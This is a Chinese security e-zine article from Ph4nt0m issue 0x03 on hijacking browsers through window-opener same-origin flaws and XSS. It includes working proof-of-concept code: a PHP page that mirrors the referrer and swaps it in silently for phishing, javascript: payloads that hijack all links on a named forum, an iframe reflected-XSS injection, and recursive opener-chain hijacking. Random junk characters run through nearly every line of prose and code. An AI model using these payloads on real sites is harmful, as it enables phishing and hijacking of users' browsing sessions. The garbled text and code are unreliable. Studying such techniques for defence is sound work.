==Ph4nt0m Security Team==
- o, `( T6 n$ C7 J+ M2 g9 K, ] * G- G/ e' `! S1 M7 U. P
Issue 0x03, Phile #0x05 of 0x07' q; v2 C+ f# S0 H: ?: d& C, @
; W6 n5 e+ Z, ^, s' q( h4 q( {9 t0 C% s9 j. n
|=---------------------------------------------------------------------------=|
L! Z4 D, J% x4 w. c1 v|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
( W9 s0 E' \$ U, a) M|=---------------------------------------------------------------------------=|/ m# V1 o4 z: m& g( q, \8 w
|=---------------------------------------------------------------------------=|
- s7 l0 {9 w' L7 Q$ o0 O|=------------------------=[ By rayh4c ]=---------------------------=|
! f! l( Z# Z6 R; G2 }6 {|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|. u; B# u+ I; B. \4 w: \ @
|=---------------------------------------------------------------------------=|/ m* g* C T/ p% R
; G" ]& v) b5 Q. w8 q
/ w& ^) W$ m8 A# B" o$ X7 t. ?2 B# @
[目录]
9 V* t }- g4 V; a c& E) o. ~. X: }5 e
1. 前言; Z$ \: P& ]: u- q
2. 同源策略简叙. p1 W' V) b1 A) u$ C( J8 d
3. 理解window对象的同源策略
4 L1 I( W" m4 g9 o, `9 C9 h0 r4. 窗口引用功能中的同源策略漏洞8 {8 D6 x* l; X
4.1 父窗口引用子窗口的同源策略问题" g* ^' i( M" K; {; v0 b
4.2 子窗口引用父窗口的同源策略问题, h. a! H* [7 h& H0 F' e! k% d& }1 ]1 n
5. 利用窗口引用漏洞劫持浏览器
2 L' c6 I" P. E2 f" ?/ x6 }) Q( |6. 利用XSS漏洞劫持浏览器
" R( M! K, e$ z3 o* D 6.1 正向跨窗口劫持; J! q/ A' n6 f+ L! g
6.2 反向跨窗口劫持
! j) |- p3 i2 c+ Z! v 6.3 极度危险的跨框架窗口引用劫持- n J5 A4 a/ N
6.4 极度危险的正反向跨窗口递归劫持
- f l# Q U* e& O1 I3 M 6.5 完全控制浏览器
# U% A7 s8 Z$ t% ~& w4 |7. 后记
8 X3 W; M" x% x' q6 c/ t& I8 k8. 参考* g7 _5 v" J% j4 A e
# t0 M w! S% h7 {" S9 H7 U
. k2 Y( t1 Q4 n; j一、前言4 Q0 W! U; |8 Q3 v+ o$ N
; C! w) a( |6 P* m
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
7 h" b1 x" I- T+ `友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
! J% ?' V" y; |" e; q劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被% Q- Q6 A8 v, Q
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。/ S+ u' e b% p2 m0 C+ q+ U" q
( U+ i9 f" `1 f7 W2 a8 J1 c
8 r/ y6 R, C, o( f1 ~二、同源策略简叙' B1 B: g0 n' ~4 {2 d2 H9 u5 |9 z
0 Z& h3 G' S0 _4 E; V5 m+ y
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以
# f: o4 Q$ T: r: E5 s从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都2 p9 x/ ]& {) n9 O
曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
0 V; f/ r) l! p0 k马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个: H4 e$ a1 |( C' _. R& F
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
. Z! @ B- M" o, t7 w0 u4 q
4 w: z0 Y/ A$ t5 q2 B( g; v& R
; ^& h# X+ \: ]* U三、理解window对象的同源策略* Y2 g3 O F) s% T8 h/ f6 `7 _, p
# g: g1 f% b5 @) E7 e
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对/ b! w5 T( z$ i2 J6 p
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
! O. h0 D7 f+ W0 F+ i" V0 D7 A# v" P% u
--code-------------------------------------------------------------------------
6 K* R- z7 e+ A6 o8 o" d<script language="javascript">
7 h- p- G; E0 B4 R% ]% ?for(p in window) document.write(p+"<br>");
/ U$ \2 r9 [* i) ?2 [! K/ o</script>& v. n+ A" w/ T" {) ^. L
-------------------------------------------------------------------------------. J) {" ]4 _) W
+ i& m8 L& M: _ x2 z1 G
这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
' o S: J3 l; [法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
5 X! H: p! b" C& g6 \; s3 |6 h这些属性和方法就必须遵循同源策略。) j, t8 P2 c: M/ d3 y. \/ s( v
- r9 q4 e3 t+ L0 ]* E, I+ l" G6 l& C 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那7 W0 E- A3 X6 i" k1 e Q
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
Q9 w3 Y1 v9 ^( E的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这' X( Q. N1 r0 i1 Q. Y: U" G9 ^
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的1 M; z1 P8 B8 t8 H) @
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
% U1 X; H0 E& _4 A( `/ R; l属性并没有被拒绝访问。
' ?8 Y! M6 w$ t P1 j" V$ _
/ s& e, ]# W3 N5 Y g. I7 a--demo.html--------------------------------------------------------------------
( h4 _3 @* Z5 c, C3 f ^' y. f<script language="javascript"> $ h/ l; f9 R8 n( C6 @3 ?% y% A
function allPrpos(obj) {
- k- ~) b+ G" N var props = "<table><tr><td>名称</td><td>值</td>"; 4 U9 H1 N. [& }8 P
for(var p in obj){
4 ^, P* O4 S# d- c9 t% Z4 |6 i0 G if(typeof(obj[p])=="function"){
8 O+ ^7 W2 `; K- }" a) ^# K. c6 Z1 K obj[p](); ; J7 { z0 m9 j
}else{
a# W: S$ T+ u- { try / p- Z% v1 n2 Y: J2 w" I
{
+ l# K0 }" {+ I; \ props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
3 B; n# |# v8 ~+ x0 @: p }
% N5 M8 f1 x& A. ?* D: s' S' l1 K catch (ex) 1 }: M; j4 v8 W* J9 g. O0 F
{
6 h9 o z* S/ i) R + @( j3 X1 N" r2 x: }9 d( a |' l( R
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>";
. Z% _+ f3 S4 |! u% t& v+ i2 W0 S1 T } 5 Q4 |' {- l" \5 c
' q( h/ \5 Q% x1 N3 k' d% ?0 Z
} ( a, s9 L2 u% Y$ j
}
" z! V2 r( N! z; }& v A% V! U4 {8 M0 ] & t+ Q$ t8 x3 w3 e* R3 E
document.write(props+"</table>"); , p( f! i9 ^6 P( w- a0 {
}
8 u2 [3 \/ r/ r - n' Q) a# r" P+ K1 A/ M" {
function createWin() {. M* V' M( e7 V% ^4 o# Z
newWin = window.open ("http://www.google.com");
: e t# o5 o8 j* n T$ n setTimeout(function(){allPrpos(newWin)},2000); 4 m1 x# m) m5 T2 ]0 s/ D
} + K3 L4 w; t% D, @* f: C" u B
4 a" J4 e* a, u( c! E4 Q% K</script> 6 B% G+ l( L8 f9 D
+ Y3 m$ u c0 r) A
<button onclick='createWin()'>创建一个非同源子窗口测试</button>8 x5 N9 @+ x& Y: J
-------------------------------------------------------------------------------. o3 ~. g& O; b, x' b' @
) Y5 K- y/ x r9 X$ g
3 _* v/ o ^- A3 G, D7 a四、窗口引用功能中的同源策略漏洞
+ ]. [4 C- l) V" R, @9 x; F+ y! p# Q. w. D
4.1 父窗口引用子窗口的同源策略问题
$ Z9 m' Q0 R9 v& Q+ x: U$ N# Y+ {/ `5 f
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,( X$ @2 u; w% ]
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道- h" C9 T1 I3 D# E$ a
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
9 }# p. ?6 z! n8 K9 s行测试,会发现父窗口可以控制非同源子窗口location属性值。! B! M- b# k' V2 p. @
* w8 x; i* F+ l0 [% V$ m--vul1.html--------------------------------------------------------------------' a! d9 Q# x- ~- \0 u( ~
<script language="javascript">
- d, [$ |/ g' L) t5 s2 s# L. ~function createWin() { # v. ]* R/ y$ z6 q5 m0 _9 N2 E
newWin = window.open ("http://www.google.com"); 8 k! ?$ |; A* I* n/ i, F' L/ s; \
setTimeout(function(){newWin.location="http://www.80sec.com"},2000); - L! Y: W7 C2 y$ w$ m- D. C
}
/ c9 ?4 n3 E% ]3 x</script>1 k& r: L% A# J4 h% _3 d
5 U7 y" @+ R! w9 i
<button onclick='createWin()'>创建一个非同源子窗口测试</button>: ~7 H* I4 e, N" L7 w' R6 B6 n4 _
-------------------------------------------------------------------------------, c) e- r0 `6 A
0 E6 K9 u( z$ f! ~ X, }& F* Y# W9 W6 C6 d
4.2 子窗口引用父窗口的同源策略问题* a" H9 w; u1 G) T
. E' f {4 U4 ~' h# D 逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使 f! p7 j' H- M
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们. w$ m: n8 W! Q4 \* p$ Y
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
y) c, V! ?- d$ l7 x会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
5 s1 w# f8 [( v& W3 Q S" O
5 \8 L/ t! [/ M u" c--code-------------------------------------------------------------------------
- [$ u& T% R4 Q7 D" }# X( l8 K5 J5 m% Q
javascript:window.opener.location = "http://www.80sec.com";void(0);0 \& ~$ |/ v0 X) Z! o/ {) a
, C# j( j- o+ I R-------------------------------------------------------------------------------1 l! k, K9 y) W6 {( M7 e
' P. } h% x$ Y6 y8 b, z4 H8 c: X1 J- j0 \
五、利用窗口引用漏洞劫持浏览器
1 b0 Q# S: H, F1 U0 I6 g- [6 @
- D* y- w/ L: c9 \& O: Y* d5 e 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子
$ s- C- S+ u1 ~* O" a窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
3 W; K( g. Y# Z( ^+ {么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。" f$ B5 [# D. h5 s7 @3 Y
j* y% N _' l5 J; { 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产9 z6 l+ _+ Z7 ~; {, Y o% _% Q% F
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或1 Z* G; L- M: i" c
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
' n N- _% v! T; |6 L7 Y后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下4 Y3 e! |1 M4 {. _/ x- _) T
会产生什么可怕的后果。4 O0 \2 W9 W* ^3 Q+ N% S6 z4 o
3 x, h4 h/ F6 A; H5 j9 J4 K6 D* b 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
4 z/ L) v' M* E0 K, c- {2 N k们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php$ q3 C- h# f: ~5 c) E. y2 ~; y1 \. ~
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时% ?0 N* r: K( L& j. F, N
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可# b ` b) r$ z7 c
以做更多的事情,所有的一切仅仅是因为点击了一个链接。2 e1 m2 e! s8 \ q* o1 n
' E. f* d6 o; o( T' y' J--hjk_ref.php------------------------------------------------------------------: F5 ~% Q" b& C1 o+ A# `
<?php
2 Y+ Y$ ^; e( tif (array_key_exists("HTTP_REFERER", $_SERVER)) {
3 w9 U9 I# O @% o/ M2 _$Url_Mirror = $_SERVER["HTTP_REFERER"];9 m2 C! s9 _3 ~( P( B) q1 \, O8 ~$ n
}
( Z' r$ i/ Z) c. Q/ Z- m8 vif(isset ($_GET['ref'])) {2 e; W" |; b; w, A7 J8 V- C
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
" c, P7 N D; [% D0 n, q7 `}
! L9 p8 E6 }" [0 A. F1 N?>( o2 i9 i. s2 v
$ S& A! k5 C% n+ M& a' Z<script language="javascript">
* U% l) K0 E, c* a r+ esetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
( X1 T9 `$ {+ e</script>4 Z" d( n1 y! U/ b) v; K
-------------------------------------------------------------------------------& }' @7 M* Z5 m- p9 g) H
' E; a+ D$ }+ u2 j5 ?' S 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。$ j3 Y9 F; p* c6 L0 o1 o# H+ s
# R+ t( ?3 E3 V8 X9 Q
4 K6 Q) e. w2 b2 _; O六、利用XSS漏洞劫持浏览器
( V6 y8 R1 l) x' G0 ~/ f8 ^/ S0 i" ^ w" f' g" s
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为+ Y# E1 O* D8 }/ r4 z( D
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后
2 _- ?! x0 w( NXSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起+ T# t8 r- | u9 p+ S& w9 X! y
讨论跨站师的终极技巧:
m" N3 C- \8 n: q& j) S6 ~0 q$ c
: e" R8 r8 s7 [/ e$ @: ? \' ]
6.1 正向跨窗口劫持
7 n' s, J! A2 u$ ^$ G: o
. Q B8 \$ P: C* h& X3 D8 h 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛% x( b t5 A$ q, Y& u$ H# g
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
/ c, L( N+ F& b/ h接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话3 E; ]. Y/ a, C0 O- c9 a& t$ J' D
框脚本。 : t# _9 K; n) s1 Q' s, Y
! l1 J9 s# N3 Z4 e' i
--hijack_open.js---------------------------------------------------------------
, Q3 y! H& v2 I9 \# T t" c: L% D H! Z7 E+ l1 b8 w# _
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
, j7 i. W" ?& y H1 @: K; K5 I7 A I
-------------------------------------------------------------------------------# p$ E2 B2 l7 k- e) I K& s/ k
: S% q: }& ?$ X
- ?$ F( E* S3 q" w) W" |# ~6.2 反向跨窗口劫持
% d/ F9 K; i, `0 f, G' _/ ?" @; B* ]3 q
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
7 g5 S8 }/ l4 K- A码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话& S! x( |% f; N- |0 T% a
框脚本。
k" ~* j. B, l; t# p9 R3 k+ U+ `$ j$ }# p: S
--hijack_opener.js-------------------------------------------------------------* J8 s3 L4 P. B0 t8 N5 J9 U
! q0 f ^$ L4 n' u% V; ~, Qjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);" r9 x7 T8 q% ?, T: }8 ^7 V
$ f9 [- ~' T3 j4 n* h-------------------------------------------------------------------------------8 q( @3 q9 a& g6 j
@2 E/ A2 ]: a! S- X j- I6 E
4 u3 }9 k- h7 ]" v3 w7 r6.3 极度危险的跨框架窗口引用劫持
1 P" D5 I0 c3 |# d X: H ^6 t- y* d: g% H6 B4 ?& R4 E' m
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞5 w/ V7 u/ H1 ?) a( b7 L% Y5 ^( }/ |
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就, A! [5 z) w0 j
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
( ]% w1 E3 B: u( X. x! G4 b0 a+ a8 ]非持久型的XSS,如下:
# D' L3 f9 R8 Z
+ |6 _2 C" Z5 j8 d: V' v' e2 C<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>8 J8 @( H7 `7 e3 a1 i+ [. l
. p5 E2 w3 O- q# _1 o+ X4 p 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
3 ]1 M( k% D! x4 ?) S注入脚本。
U9 W$ }' e. w4 |$ ^
2 U5 r! C# T& p+ i9 n9 `5 X--hijack_frame_opener.js-------------------------------------------------------
& ?; s5 } f7 J; j. W9 v! P# W<script>
" F X2 j' X9 h$ Pwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";. R( U; a! c2 g- A# f/ m
</script># m0 ]- d( P: i
-------------------------------------------------------------------------------
( \* w! _7 B) K+ X; n8 `" g
9 {9 d- ?. r7 U: O* b* l+ d6 _ c4 ~& }5 w- `- d& e w
6.4 极度危险的正反向跨窗口递归劫持# R# G; z! t2 ` n4 t+ R9 G$ J
# q. n) o g. [: \1 G1 M
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window3 c" O% C0 |# v" O* G# `1 {$ v
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
4 c4 t: [4 J( Y# i0 J异常处理规避之间跨域页面的访问异常,代码如下:
1 p) W3 ]. {) ?9 [: W! G. H; }$ I
1 r+ t) t- J& P2 R' H! t--code-------------------------------------------------------------------------& ?0 D& g6 \" Y( A7 w- G, O
B c9 y: v8 E# C% N
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
2 [! j5 Y+ |/ C! U' w/ ]0 E% L {( m1 N( X3 a
-------------------------------------------------------------------------------
& p+ M) q3 E) @/ O: X/ W* T* |- j6 F1 i D) Y; [3 E' }
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
6 D# @" M9 D- T) H& ]" F' r, q以劫持B域之前的A域页面,从而实现“隔空打击”。6 O( s( i/ j4 n! T2 }
2 [( A, \, `0 P- R3 T7 B 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面+ i3 d, G! F2 n/ v# R
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。- N7 w% w% y- `1 ` N+ Y! B, a
7 ~! u; k3 n- N2 j 结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。" F+ H5 ]! A* g" y
% z* } W: D- w& z
6 Y5 [/ e' |+ v9 y& \1 l6.5 完全控制浏览器
4 |% U( J$ e" A T6 H; V/ [9 h7 N* ?2 G. A. \
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则( V: Q+ V) l8 T Q3 b
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS
; x# x; [# m$ ~漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
. h' Z: X. N' } z而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
/ y/ D5 F% d, V列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站3 i s" T8 c1 F3 d+ n6 \1 V
师的终极目标 - 完全控制浏览器。; b$ e+ {) m9 G2 Y( d
* w5 k& p% G' @
+ z( {; ], |2 J7 J$ P' f9 {2 S# ?
七、后记
* ] U6 k% e$ M) k# e! h# |
* U7 x9 z8 X8 v6 l3 i2 d, v. Q 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
/ k$ F1 g+ I" t0 j6 G与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予2 |! S K( _+ E& [4 ]
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 ]: S! ?9 ^& {/ ^7 x% }
; D/ s1 c3 j# w, Q/ k( n7 M5 M# {* F" ~. P
八、参考
9 @ O% |% ^4 |6 z" U' u0 q. w H3 h+ K) h8 k: e% F) @1 E- a
1. http://en.wikipedia.org/wiki/Same_origin_policy, I! D5 ~$ T n; f9 V
2. http://code.google.com/p/browser ... licy_for_DOM_access
- l8 s3 b8 j6 I: l" v3. http://www.w3.org/TR/Window/
6 h9 B2 G6 a' e6 u5 J4. http://www.80sec.com/release/browser-hijacking.txt+ K! K% ~9 z2 L4 Y0 w( Q5 y) t
5. http://www.80sec.com/all-browser-security-alert.html
3 ~, E# I& |9 ^7 ^3 f# ]7 ?6. http://www.80sec.com/ms08-058-attacks-google.html
$ j$ T! |2 l; R3 [# u. d# N
3 ^: Y2 ^4 c) }& N7 X-EOF- |